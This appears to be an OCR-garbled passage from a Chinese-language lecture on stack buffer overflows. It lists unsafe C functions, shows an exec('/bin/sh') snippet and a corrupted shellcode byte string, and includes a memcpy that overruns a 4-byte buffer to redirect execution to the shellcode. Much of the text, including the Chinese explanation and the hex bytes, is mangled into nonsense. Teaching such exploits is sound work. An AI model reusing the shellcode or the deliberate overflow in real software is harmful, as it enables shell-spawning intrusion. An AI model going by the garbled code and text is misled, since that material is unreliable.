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strcat(). gets(). scanf()Z.
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Void main() {

Tej |

char buffer[128];

for(i=0; i<127; i++)
buffer[i]="A’;

buffer[127]=0;

function(buffer);

printf("This is a test. *);
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1. Void main() {
char *str[2]={"/bin/sh”,0};
exec (“/bin/sh”,str,0);
) BERRRE, FMOILIL, 215 0LERFSA

“\xeb\x2ax5ex89x76x08xcox46x07x00xc7x46x0cx00

x00x00”

;x%%beXObeOxOOxOOx89xf3x8dx4exO8x8dx56xchc
X b}

“);fl:,)SxO 1x00x00x00xbbx00x00x00x00xcdx80xe8xdIxff

% )

“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3” &[>




iff

< void f(char *src)

char dest[4];
memcpy(dest,src,12);

void main()

int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);

}

destim th B, f#Eshellcodeft it &% T F 127 HYIR O]
ik, HFEFHITretisSH, CPURMIESIEsT &
22EIPfg[aIshellcode, Mm#i{Tshellcode.
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